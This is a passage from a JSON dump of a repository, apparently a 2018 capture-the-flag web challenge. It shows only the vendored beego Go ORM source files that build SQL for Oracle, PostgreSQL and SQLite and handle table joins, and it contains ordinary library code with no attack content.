    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\n// oracle operators.\nvar oracleOperators = map[string]string{\n\t\"exact\":       \"= ?\",\n\t\"gt\":          \"> ?\",\n\t\"gte\":         \">= ?\",\n\t\"lt\":          \"< ?\",\n\t\"lte\":         \"<= ?\",\n\t\"//iendswith\": \"LIKE ?\",\n}\n\n// oracle column field types.\nvar oracleTypes = map[string]string{\n\t\"pk\":              \"NOT NULL PRIMARY KEY\",\n\t\"bool\":            \"bool\",\n\t\"string\":          \"VARCHAR2(%d)\",\n\t\"string-char\":     \"CHAR(%d)\",\n\t\"string-text\":     \"VARCHAR2(%d)\",\n\t\"time.Time-date\":  \"DATE\",\n\t\"time.Time\":       \"TIMESTAMP\",\n\t\"int8\":            \"INTEGER\",\n\t\"int16\":           \"INTEGER\",\n\t\"int32\":           \"INTEGER\",\n\t\"int64\":           \"INTEGER\",\n\t\"uint8\":           \"INTEGER\",\n\t\"uint16\":          \"INTEGER\",\n\t\"uint32\":          \"INTEGER\",\n\t\"uint64\":          \"INTEGER\",\n\t\"float64\":         \"NUMBER\",\n\t\"float64-decimal\": \"NUMBER(%d, %d)\",\n}\n\n// oracle dbBaser\ntype dbBaseOracle struct {\n\tdbBase\n}\n\nvar _ dbBaser = new(dbBaseOracle)\n\n// create oracle dbBaser.\nfunc newdbBaseOracle() dbBaser {\n\tb := new(dbBaseOracle)\n\tb.ins = b\n\treturn b\n}\n\n// OperatorSQL get oracle operator.\nfunc (d *dbBaseOracle) OperatorSQL(operator string) string {\n\treturn oracleOperators[operator]\n}\n\n// DbTypes get oracle table field types.\nfunc (d *dbBaseOracle) DbTypes() map[string]string {\n\treturn oracleTypes\n}\n\n//ShowTablesQuery show all the tables in database\nfunc (d *dbBaseOracle) ShowTablesQuery() string {\n\treturn \"SELECT TABLE_NAME FROM USER_TABLES\"\n}\n\n// Oracle\nfunc (d *dbBaseOracle) ShowColumnsQuery(table string) string {\n\treturn fmt.Sprintf(\"SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS \"+\n\t\t\"WHERE TABLE_NAME ='%s'\", strings.ToUpper(table))\n}\n\n// check index is exist\nfunc (d *dbBaseOracle) IndexExists(db dbQuerier, table string, name string) bool {\n\trow := db.QueryRow(\"SELECT COUNT(*) FROM USER_IND_COLUMNS, USER_INDEXES \"+\n\t\t\"WHERE USER_IND_COLUMNS.INDEX_NAME = USER_INDEXES.INDEX_NAME \"+\n\t\t\"AND  USER_IND_COLUMNS.TABLE_NAME = ? AND USER_IND_COLUMNS.INDEX_NAME = ?\", strings.ToUpper(table), strings.ToUpper(name))\n\n\tvar cnt int\n\trow.Scan(&cnt)\n\treturn cnt > 0\n}\n\n// execute insert sql with given struct and given values.\n// insert the given values, not the field values in struct.\nfunc (d *dbBaseOracle) InsertValue(q dbQuerier, mi *modelInfo, isMulti bool, names []string, values []interface{}) (int64, error) {\n\tQ := d.ins.TableQuote()\n\n\tmarks := make([]string, len(names))\n\tfor i := range marks {\n\t\tmarks[i] = \":\" + names[i]\n\t}\n\n\tsep := fmt.Sprintf(\"%s, %s\", Q, Q)\n\tqmarks := strings.Join(marks, \", \")\n\tcolumns := strings.Join(names, sep)\n\n\tmulti := len(values) / len(names)\n\n\tif isMulti {\n\t\tqmarks = strings.Repeat(qmarks+\"), (\", multi-1) + qmarks\n\t}\n\n\tquery := fmt.Sprintf(\"INSERT INTO %s%s%s (%s%s%s) VALUES (%s)\", Q, mi.table, Q, Q, columns, Q, qmarks)\n\n\td.ins.ReplaceMarks(&query)\n\n\tif isMulti || !d.ins.HasReturningID(mi, &query) {\n\t\tres, err := q.Exec(query, values...)\n\t\tif err == nil {\n\t\t\tif isMulti {\n\t\t\t\treturn res.RowsAffected()\n\t\t\t}\n\t\t\treturn res.LastInsertId()\n\t\t}\n\t\treturn 0, err\n\t}\n\trow := q.QueryRow(query, values...)\n\tvar id int64\n\terr := row.Scan(&id)\n\treturn id, err\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db_postgres.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n)\n\n// postgresql operators.\nvar postgresOperators = map[string]string{\n\t\"exact\":       \"= ?\",\n\t\"iexact\":      \"= UPPER(?)\",\n\t\"contains\":    \"LIKE ?\",\n\t\"icontains\":   \"LIKE UPPER(?)\",\n\t\"gt\":          \"> ?\",\n\t\"gte\":         \">= ?\",\n\t\"lt\":          \"< ?\",\n\t\"lte\":         \"<= ?\",\n\t\"eq\":          \"= ?\",\n\t\"ne\":          \"!= ?\",\n\t\"startswith\":  \"LIKE ?\",\n\t\"endswith\":    \"LIKE ?\",\n\t\"istartswith\": \"LIKE UPPER(?)\",\n\t\"iendswith\":   \"LIKE UPPER(?)\",\n}\n\n// postgresql column field types.\nvar postgresTypes = map[string]string{\n\t\"auto\":            \"serial NOT NULL PRIMARY KEY\",\n\t\"pk\":              \"NOT NULL PRIMARY KEY\",\n\t\"bool\":            \"bool\",\n\t\"string\":          \"varchar(%d)\",\n\t\"string-char\":     \"char(%d)\",\n\t\"string-text\":     \"text\",\n\t\"time.Time-date\":  \"date\",\n\t\"time.Time\":       \"timestamp with time zone\",\n\t\"int8\":            `smallint CHECK(\"%COL%\" >= -127 AND \"%COL%\" <= 128)`,\n\t\"int16\":           \"smallint\",\n\t\"int32\":           \"integer\",\n\t\"int64\":           \"bigint\",\n\t\"uint8\":           `smallint CHECK(\"%COL%\" >= 0 AND \"%COL%\" <= 255)`,\n\t\"uint16\":          `integer CHECK(\"%COL%\" >= 0)`,\n\t\"uint32\":          `bigint CHECK(\"%COL%\" >= 0)`,\n\t\"uint64\":          `bigint CHECK(\"%COL%\" >= 0)`,\n\t\"float64\":         \"double precision\",\n\t\"float64-decimal\": \"numeric(%d, %d)\",\n\t\"json\":            \"json\",\n\t\"jsonb\":           \"jsonb\",\n}\n\n// postgresql dbBaser.\ntype dbBasePostgres struct {\n\tdbBase\n}\n\nvar _ dbBaser = new(dbBasePostgres)\n\n// get postgresql operator.\nfunc (d *dbBasePostgres) OperatorSQL(operator string) string {\n\treturn postgresOperators[operator]\n}\n\n// generate functioned sql string, such as contains(text).\nfunc (d *dbBasePostgres) GenerateOperatorLeftCol(fi *fieldInfo, operator string, leftCol *string) {\n\tswitch operator {\n\tcase \"contains\", \"startswith\", \"endswith\":\n\t\t*leftCol = fmt.Sprintf(\"%s::text\", *leftCol)\n\tcase \"iexact\", \"icontains\", \"istartswith\", \"iendswith\":\n\t\t*leftCol = fmt.Sprintf(\"UPPER(%s::text)\", *leftCol)\n\t}\n}\n\n// postgresql unsupports updating joined record.\nfunc (d *dbBasePostgres) SupportUpdateJoin() bool {\n\treturn false\n}\n\nfunc (d *dbBasePostgres) MaxLimit() uint64 {\n\treturn 0\n}\n\n// postgresql quote is \".\nfunc (d *dbBasePostgres) TableQuote() string {\n\treturn `\"`\n}\n\n// postgresql value placeholder is $n.\n// replace default ? to $n.\nfunc (d *dbBasePostgres) ReplaceMarks(query *string) {\n\tq := *query\n\tnum := 0\n\tfor _, c := range q {\n\t\tif c == '?' {\n\t\t\tnum++\n\t\t}\n\t}\n\tif num == 0 {\n\t\treturn\n\t}\n\tdata := make([]byte, 0, len(q)+num)\n\tnum = 1\n\tfor i := 0; i < len(q); i++ {\n\t\tc := q[i]\n\t\tif c == '?' {\n\t\t\tdata = append(data, '$')\n\t\t\tdata = append(data, []byte(strconv.Itoa(num))...)\n\t\t\tnum++\n\t\t} else {\n\t\t\tdata = append(data, c)\n\t\t}\n\t}\n\t*query = string(data)\n}\n\n// make returning sql support for postgresql.\nfunc (d *dbBasePostgres) HasReturningID(mi *modelInfo, query *string) bool {\n\tfi := mi.fields.pk\n\tif fi.fieldType&IsPositiveIntegerField == 0 && fi.fieldType&IsIntegerField == 0 {\n\t\treturn false\n\t}\n\n\tif query != nil {\n\t\t*query = fmt.Sprintf(`%s RETURNING \"%s\"`, *query, fi.column)\n\t}\n\treturn true\n}\n\n// sync auto key\nfunc (d *dbBasePostgres) setval(db dbQuerier, mi *modelInfo, autoFields []string) error {\n\tif len(autoFields) == 0 {\n\t\treturn nil\n\t}\n\n\tQ := d.ins.TableQuote()\n\tfor _, name := range autoFields {\n\t\tquery := fmt.Sprintf(\"SELECT setval(pg_get_serial_sequence('%s', '%s'), (SELECT MAX(%s%s%s) FROM %s%s%s));\",\n\t\t\tmi.table, name,\n\t\t\tQ, name, Q,\n\t\t\tQ, mi.table, Q)\n\t\tif _, err := db.Exec(query); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// show table sql for postgresql.\nfunc (d *dbBasePostgres) ShowTablesQuery() string {\n\treturn \"SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema')\"\n}\n\n// show table columns sql for postgresql.\nfunc (d *dbBasePostgres) ShowColumnsQuery(table string) string {\n\treturn fmt.Sprintf(\"SELECT column_name, data_type, is_nullable FROM information_schema.columns where table_schema NOT IN ('pg_catalog', 'information_schema') and table_name = '%s'\", table)\n}\n\n// get column types of postgresql.\nfunc (d *dbBasePostgres) DbTypes() map[string]string {\n\treturn postgresTypes\n}\n\n// check index exist in postgresql.\nfunc (d *dbBasePostgres) IndexExists(db dbQuerier, table string, name string) bool {\n\tquery := fmt.Sprintf(\"SELECT COUNT(*) FROM pg_indexes WHERE tablename = '%s' AND indexname = '%s'\", table, name)\n\trow := db.QueryRow(query)\n\tvar cnt int\n\trow.Scan(&cnt)\n\treturn cnt > 0\n}\n\n// create new postgresql dbBaser.\nfunc newdbBasePostgres() dbBaser {\n\tb := new(dbBasePostgres)\n\tb.ins = b\n\treturn b\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db_sqlite.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n)\n\n// sqlite operators.\nvar sqliteOperators = map[string]string{\n\t\"exact\":       \"= ?\",\n\t\"iexact\":      \"LIKE ? ESCAPE '\\\\'\",\n\t\"contains\":    \"LIKE ? ESCAPE '\\\\'\",\n\t\"icontains\":   \"LIKE ? ESCAPE '\\\\'\",\n\t\"gt\":          \"> ?\",\n\t\"gte\":         \">= ?\",\n\t\"lt\":          \"< ?\",\n\t\"lte\":         \"<= ?\",\n\t\"eq\":          \"= ?\",\n\t\"ne\":          \"!= ?\",\n\t\"startswith\":  \"LIKE ? ESCAPE '\\\\'\",\n\t\"endswith\":    \"LIKE ? ESCAPE '\\\\'\",\n\t\"istartswith\": \"LIKE ? ESCAPE '\\\\'\",\n\t\"iendswith\":   \"LIKE ? ESCAPE '\\\\'\",\n}\n\n// sqlite column types.\nvar sqliteTypes = map[string]string{\n\t\"auto\":            \"integer NOT NULL PRIMARY KEY AUTOINCREMENT\",\n\t\"pk\":              \"NOT NULL PRIMARY KEY\",\n\t\"bool\":            \"bool\",\n\t\"string\":          \"varchar(%d)\",\n\t\"string-char\":     \"character(%d)\",\n\t\"string-text\":     \"text\",\n\t\"time.Time-date\":  \"date\",\n\t\"time.Time\":       \"datetime\",\n\t\"int8\":            \"tinyint\",\n\t\"int16\":           \"smallint\",\n\t\"int32\":           \"integer\",\n\t\"int64\":           \"bigint\",\n\t\"uint8\":           \"tinyint unsigned\",\n\t\"uint16\":          \"smallint unsigned\",\n\t\"uint32\":          \"integer unsigned\",\n\t\"uint64\":          \"bigint unsigned\",\n\t\"float64\":         \"real\",\n\t\"float64-decimal\": \"decimal\",\n}\n\n// sqlite dbBaser.\ntype dbBaseSqlite struct {\n\tdbBase\n}\n\nvar _ dbBaser = new(dbBaseSqlite)\n\n// get sqlite operator.\nfunc (d *dbBaseSqlite) OperatorSQL(operator string) string {\n\treturn sqliteOperators[operator]\n}\n\n// generate functioned sql for sqlite.\n// only support DATE(text).\nfunc (d *dbBaseSqlite) GenerateOperatorLeftCol(fi *fieldInfo, operator string, leftCol *string) {\n\tif fi.fieldType == TypeDateField {\n\t\t*leftCol = fmt.Sprintf(\"DATE(%s)\", *leftCol)\n\t}\n}\n\n// unable updating joined record in sqlite.\nfunc (d *dbBaseSqlite) SupportUpdateJoin() bool {\n\treturn false\n}\n\n// max int in sqlite.\nfunc (d *dbBaseSqlite) MaxLimit() uint64 {\n\treturn 9223372036854775807\n}\n\n// get column types in sqlite.\nfunc (d *dbBaseSqlite) DbTypes() map[string]string {\n\treturn sqliteTypes\n}\n\n// get show tables sql in sqlite.\nfunc (d *dbBaseSqlite) ShowTablesQuery() string {\n\treturn \"SELECT name FROM sqlite_master WHERE type = 'table'\"\n}\n\n// get columns in sqlite.\nfunc (d *dbBaseSqlite) GetColumns(db dbQuerier, table string) (map[string][3]string, error) {\n\tquery := d.ins.ShowColumnsQuery(table)\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolumns := make(map[string][3]string)\n\tfor rows.Next() {\n\t\tvar tmp, name, typ, null sql.NullString\n\t\terr := rows.Scan(&tmp, &name, &typ, &null, &tmp, &tmp)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcolumns[name.String] = [3]string{name.String, typ.String, null.String}\n\t}\n\n\treturn columns, nil\n}\n\n// get show columns sql in sqlite.\nfunc (d *dbBaseSqlite) ShowColumnsQuery(table string) string {\n\treturn fmt.Sprintf(\"pragma table_info('%s')\", table)\n}\n\n// check index exist in sqlite.\nfunc (d *dbBaseSqlite) IndexExists(db dbQuerier, table string, name string) bool {\n\tquery := fmt.Sprintf(\"PRAGMA index_list('%s')\", table)\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar tmp, index sql.NullString\n\t\trows.Scan(&tmp, &index, &tmp, &tmp, &tmp)\n\t\tif name == index.String {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// create new sqlite dbBaser.\nfunc newdbBaseSqlite() dbBaser {\n\tb := new(dbBaseSqlite)\n\tb.ins = b\n\treturn b\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db_tables.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n)\n\n// table info struct.\ntype dbTable struct {\n\tid    int\n\tindex string\n\tname  string\n\tnames []string\n\tsel   bool\n\tinner bool\n\tmi    *modelInfo\n\tfi    *fieldInfo\n\tjtl   *dbTable\n}\n\n// tables collection struct, contains some tables.\ntype dbTables struct {\n\ttablesM map[string]*dbTable\n\ttables  []*dbTable\n\tmi      *modelInfo\n\tbase    dbBaser\n\tskipEnd bool\n}\n\n// set table info to collection.\n// if not exist, create new.\nfunc (t *dbTables) set(names []string, mi *modelInfo, fi *fieldInfo, inner bool) *dbTable {\n\tname := strings.Join(names, ExprSep)\n\tif j, ok := t.tablesM[name]; ok {\n\t\tj.name = name\n\t\tj.mi = mi\n\t\tj.fi = fi\n\t\tj.inner = inner\n\t} else {\n\t\ti := len(t.tables) + 1\n\t\tjt := &dbTable{i, fmt.Sprintf(\"T%d\", i), name, names, false, inner, mi, fi, nil}\n\t\tt.tablesM[name] = jt\n\t\tt.tables = append(t.tables, jt)\n\t}\n\treturn t.tablesM[name]\n}\n\n// add table info to collection.\nfunc (t *dbTables) add(names []string, mi *modelInfo, fi *fieldInfo, inner bool) (*dbTable, bool) {\n\tname := strings.Join(names, ExprSep)\n\tif _, ok := t.tablesM[name]; !ok {\n\t\ti := len(t.tables) + 1\n\t\tjt := &dbTable{i, fmt.Sprintf(\"T%d\", i), name, names, false, inner, mi, fi, nil}\n\t\tt.tablesM[name] = jt\n\t\tt.tables = append(t.tables, jt)\n\t\treturn jt, true\n\t}\n\treturn t.tablesM[name], false\n}\n\n// get table info in collection.\nfunc (t *dbTables) get(name string) (*dbTable, bool) {\n\tj, ok := t.tablesM[name]\n\treturn j, ok\n}\n\n// get related fields info in recursive depth loop.\n// loop once, depth decreases one.\nfunc (t *dbTables) loopDepth(depth int, prefix string, fi *fieldInfo, related []string) []string {\n\tif depth < 0 || fi.fieldType == RelManyToMany {\n\t\treturn related\n\t}\n\n\tif prefix == \"\" {\n\t\tprefix = fi.name\n\t} else {\n\t\tprefix = prefix + ExprSep + fi.name\n\t}\n\trelated = append(related, prefix)\n\n\tdepth--\n\tfor _, fi := range fi.relModelInfo.fields.fieldsRel {\n\t\trelated = t.loopDepth(depth, prefix, fi, related)\n\t}\n\n\treturn related\n}\n\n// parse related fields.\nfunc (t *dbTables) parseRelated(rels []string, depth int) {\n\n\trelsNum := len(rels)\n\trelated := make([]string, relsNum)\n\tcopy(related, rels)\n\n\trelDepth := depth\n\n\tif relsNum != 0 {\n\t\trelDepth = 0\n\t}\n\n\trelDepth--\n\tfor _, fi := range t.mi.fields.fieldsRel {\n\t\trelated = t.loopDepth(relDepth, \"\", fi, related)\n\t}\n\n\tfor i, s := range related {\n\t\tvar (\n\t\t\texs    = strings.Split(s, ExprSep)\n\t\t\tnames  = make([]string, 0, len(exs))\n\t\t\tmmi    = t.mi\n\t\t\tcancel = true\n\t\t\tjtl    *dbTable\n\t\t)\n\n\t\tinner := true\n\n\t\tfor _, ex := range exs {\n\t\t\tif fi, ok := mmi.fields.GetByAny(ex); ok && fi.rel && fi.fieldType != RelManyToMany {\n\t\t\t\tnames = append(names, fi.name)\n\t\t\t\tmmi = fi.relModelInfo\n\n\t\t\t\tif fi.null || t.skipEnd {\n\t\t\t\t\tinner = false\n\t\t\t\t}\n\n\t\t\t\tjt := t.set(names, mmi, fi, inner)\n\t\t\t\tjt.jtl = jtl\n\n\t\t\t\tif fi.reverse {\n\t\t\t\t\tcancel = false\n\t\t\t\t}\n\n\t\t\t\tif cancel {\n\t\t\t\t\tjt.sel = depth > 0\n\n\t\t\t\t\tif i < relsNum {\n\t\t\t\t\t\tjt.sel = true\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tjtl = jt\n\n\t\t\t} else {\n\t\t\t\tpanic(fmt.Errorf(\"unknown model/table name `%s`\", ex))\n\t\t\t}\n\t\t}\n\t}\n}\n\n// generate join string.\nfunc (t *dbTables) getJoinSQL() (join string) {\n\tQ := t.base.TableQuote()\n\n\tfor _, jt := range t.tables {\n\t\tif jt.inner {\n\t\t\tjoin += \"INNER JOIN \"\n\t\t} else {\n\t\t\tjoin += \"LEFT OUTER JOIN \"\n\t\t}\n\t\tvar (\n\t\t\ttable  string\n\t\t\tt1, t2 string\n\t\t\tc1, c2 string\n\t\t)\n\t\tt1 = \"T0\"\n\t\tif jt.jtl != nil {\n\t\t\tt1 = jt.jtl.index\n\t\t}\n\t\tt2 = jt.index\n\t\ttable = jt.mi.table\n\n\t\tswitch {\n\t\tcase jt.fi.fieldType == RelManyToMany || jt.fi.fieldType == RelReverseMany || jt.fi.reverse && jt.fi.reverseFieldInfo.fieldType == RelManyToMany:\n\t\t\tc1 = jt.fi.mi.fields.pk.column\n\t\t\tfor _, ffi := range jt.mi.fields.fieldsRel {\n\t\t\t\tif jt.fi.mi == ffi.relModelInfo {\n\t\t\t\t\tc2 = ffi.column\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\tc1 = jt.fi.column\n\t\t\tc2 = jt.fi.relModelInfo.fields.pk.column\n\n\t\t\tif jt.fi.reverse {\n\t\t\t\tc1 = jt.mi.fields.pk.column\n\t\t\t\tc2 = jt.fi.reverseFieldInfo.column\n\t\t\t}\n\t\t}\n\n\t\tjoin += fmt.Sprintf(\"%s%s%s %s ON %s.%s%s%s = %s.%s%s%s \", Q, table, Q, t2,\n\t\t\tt2, Q, c2, Q, t1, Q, c1, Q)\n\t}\n\treturn\n}\n\n// parse orm model struct field tag expression.\nfunc (t *dbTables) parseExprs(mi *modelInfo, exprs []string) (index, name string, info *fieldInfo, success bool) {\n\tvar (\n\t\tjtl *dbTable\n\t\tfi  *fieldInfo\n\t\tfiN *fieldInfo\n\t\tmmi = mi\n\t)\n\n\tnum := len(exprs) - 1\n\tvar names []string\n\n\tinner := true\n\nloopFor:\n\tfor i, ex := range exprs {\n\n\t\tvar ok, okN bool\n\n\t\tif fiN != nil {\n\t\t\tfi = fiN\n\t\t\tok = true\n\t\t\tfiN = nil\n\t\t}\n\n\t\tif i == 0 {\n\t\t\tfi, ok = mmi.fields.GetByAny(ex)\n\t\t}\n\n\t\t_ = okN\n\n\t\tif ok {\n\n\t\t\tisRel := fi.rel || fi.reverse\n\n\t\t\tnames = append(names, fi.name)\n\n\t\t\tswitch {\n\t\t\tcase fi.rel:\n\t\t\t\tmmi = fi.relModelInfo\n\t\t\t\tif fi.fieldType == RelManyToMany {\n\t\t\t\t\tmmi = fi.relThroughModelInfo\n\t\t\t\t}\n\t\t\tcase fi.reverse:\n\t\t\t\tmmi = fi.reverseFieldInfo.mi\n\t\t\t}\n\n\t\t\tif i < num {\n\t\t\t\tfiN, okN = mmi.fields.GetByAny(exprs[i+1])\n\t\t\t}\n\n\t\t\tif isRel && (!fi.mi.isThrough || num != i) {\n\t\t\t\tif fi.null || t.skipEnd {\n\t\t\t\t\tinner = false\n\t\t\t\t}\n\n\t\t\t\tif t.skipEnd && okN || !t.skipEnd {\n\t\t\t\t\tif t.skipEnd && okN && fiN.pk {\n\t\t\t\t\t\tgoto loopEnd\n\t\t\t\t\t}\n\n\t\t\t\t\tjt, _ := t.add(names, mmi, fi, inner)\n\t\t\t\t\tjt.jtl = jtl\n\t\t\t\t\tjtl = jt\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif num != i {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\tloopEnd:\n\n\t\t\tif i == 0 || jtl == nil {\n\t\t\t\tindex = \"T0\"\n\t\t\t} else {\n\t\t\t\tindex = jtl.index\n\t\t\t}\n\n\t\t\tinfo = fi\n\n\t\t\tif jtl == nil {\n\t\t\t\tname = fi.name\n\t\t\t} else {\n\t\t\t\tname = jtl.name + ExprSep + fi.name\n\t\t\t}\n\n\t\t\tswitch {\n\t\t\tcase fi.rel:\n\n\t\t\tcase fi.reverse:\n\t\t\t\tswitch fi.reverseFieldInfo.fieldType {\n\t\t\t\tcase RelOneToOne, RelForeignKey:\n\t\t\t\t\tindex = jtl.index\n\t\t\t\t\tinfo = fi.reverseFieldInfo.mi.fields.pk\n\t\t\t\t\tname = info.name\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbreak loopFor\n\n\t\t} else {\n\t\t\tindex = \"\"\n\t\t\tname = \"\"\n\t\t\tinfo = nil\n\t\t\tsuccess = false\n\t\t\treturn\n\t\t}\n\t}\n\n\tsuccess = index != \"\" && info != nil\n\treturn\n}\n\n// generate condition sql.\nfunc (t *dbTables) getCondSQL(cond *Condition, sub bool, tz *time.Location) (where string, params []interface{}) {\n\tif cond == nil || cond.IsEmpty() {\n\t\treturn\n\t}\n\n\tQ := t.base.TableQuote()\n\n\tmi := t.mi\n\n\tfor i, p := range cond.params {\n\t\tif i > 0 {\n\t\t\tif p.isOr {\n\t\t\t\twhere += \"OR \"\n\t\t\t} else {\n\t\t\t\twhere += \"AND \"\n\t\t\t}\n\t\t}\n\t\tif p.isNot {\n\t\t\twhere += \"NOT \"\n\t\t}\n\t\tif p.isCond {\n\t\t\tw, ps := t.getCondSQL(p.cond, true, tz)\n\t\t\tif w != \"\" {\n\t\t\t\tw = fmt.Sprintf(\"( %s) \", w)\n\t\t\t}\n\t\t\twhere += w\n\t\t\tparams = append(params, ps...)\n\t\t} else {\n\t\t\texprs := p.exprs\n\n\t\t\tnum := len(exprs) - 1\n\t\t\toperator := \"\"\n\t\t\tif operators[exprs[num]] {\n\t\t\t\toperator = exprs[num]\n\t\t\t\texprs = exprs[:num]\n\t\t\t}\n\n\t\t\tindex, _, fi, suc := t.parseExprs(mi, exprs)\n\t\t\tif !suc {\n\t\t\t\tpanic(fmt.Errorf(\"unknown field/column name `%s`\", strings.Join(p.exprs, ExprSep)))\n\t\t\t}\n\n\t\t\tif operator == \"\" {\n\t\t\t\toperator = \"exact\"\n\t\t\t}\n\n\t\t\toperSQL, args := t.base.GenerateOperatorSQL(mi, fi, operator, p.args, tz)\n\n\t\t\tleftCol := fmt.Sprintf(\"%s.%s%s%s\", index, Q, fi.column, Q)\n\t\t\tt.base.GenerateOperatorLeftCol(fi, operator, &leftCol)\n\n\t\t\twhere += fmt.Sprintf(\"%s %s \", leftCol, operSQL)\n\t\t\tparams = append(params, args...)\n\n\t\t}\n\t}\n\n\tif !sub && where != \"\" {\n\t\twhere = \"WHERE \" + where\n\t}\n\n\treturn\n}\n\n// generate group sql.\nfunc (t *dbTables) getGroupSQL(groups []string) (groupSQL string) {\n\tif len(groups) == 0 {\n\t\treturn\n\t}\n\n\tQ := t.base.TableQuote()\n\n\tgroupSqls := make([]string, 0, len(groups))\n\tfor _, group := range groups {\n\t\texprs := strings.Split(group, ExprSep)\n\n\t\tindex, _, fi, suc := t.parseExprs(t.mi, exprs)\n\t\tif !suc {\n\t\t\tpanic(fmt.Errorf(\"unknown field/column name `%s`\", strings.Join(exprs, ExprSep)))\n\t\t}\n\n\t\tgroupSqls = append(groupSqls, fmt.Sprintf(\"%s.%s%s%s\", index, Q, fi.column, Q))\n\t}\n\n\tgroupSQL = fmt.Sprintf(\"GROUP BY %s \", strings.Join(groupSqls, \", \"))\n\treturn\n}\n\n// generate order sql.\nfunc (t *dbTables) getOrderSQL(orders []string) (orderSQL string) {\n\tif len(orders) == 0 {\n\t\treturn\n\t}\n\n\tQ := t.base.TableQuote()\n\n\torderSqls := make([]string, 0, len(orders))\n\tfor _, order := range orders {\n\t\tasc := \"ASC\"\n\t\tif order[0] == '-' {\n\t\t\tasc = \"DESC\"\n\t\t\torder = order[1:]\n\t\t}\n\t\texprs := strings.Split(order, ExprSep)\n\n\t\tindex, _, fi, suc := t.parseExprs(t.mi, exprs)\n\t\tif !suc {\n\t\t\tpanic(fmt.Errorf(\"unknown field/column name `%s`\", strings.Join(exprs, ExprSep)))\n\t\t}\n\n\t\torderSqls = append(orderSqls, fmt.Sprintf(\"%s.%s%s%s %s\", index, Q, fi.column, Q, asc))\n\t}\n\n\torderSQL = fmt.Sprintf(\"ORDER BY %s \", strings.Join(orderSqls, \", \"))\n\treturn\n}\n\n// generate limit sql.\nfunc (t *dbTables) getLimitSQL(mi *modelInfo, offset int64, limit int64) (limits string) {\n\tif limit == 0 {\n\t\tlimit = int64(DefaultRowsLimit)\n\t}\n\tif limit < 0 {\n\t\t// no limit\n\t\tif offset > 0 {\n\t\t\tmaxLimit := t.base.MaxLimit()\n\t\t\tif maxLimit == 0 {\n\t\t\t\tlimits = fmt.Sprintf(\"OFFSET %d\", offset)\n\t\t\t} else {\n\t\t\t\tlimits = fmt.Sprintf(\"LIMIT %d OFFSET %d\", maxLimit, offset)\n\t\t\t}\n\t\t}\n\t} else if offset <= 0 {\n\t\tlimits = fmt.Sprintf(\"LIMIT %d\", limit)\n\t} else {\n\t\tlimits = fmt.Sprintf(\"LIMIT %d OFFSET %d\", limit, offset)\n\t}\n\treturn\n}\n\n// crete new tables collection.\nfunc newDbTables(mi *modelInfo, base dbBaser) *dbTables {\n\ttables := &dbTables{}\n\ttables.tablesM = make(map[string]*dbTable)\n\ttables.mi = mi\n\ttables.base = base\n\treturn tables\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db_tidb.go",
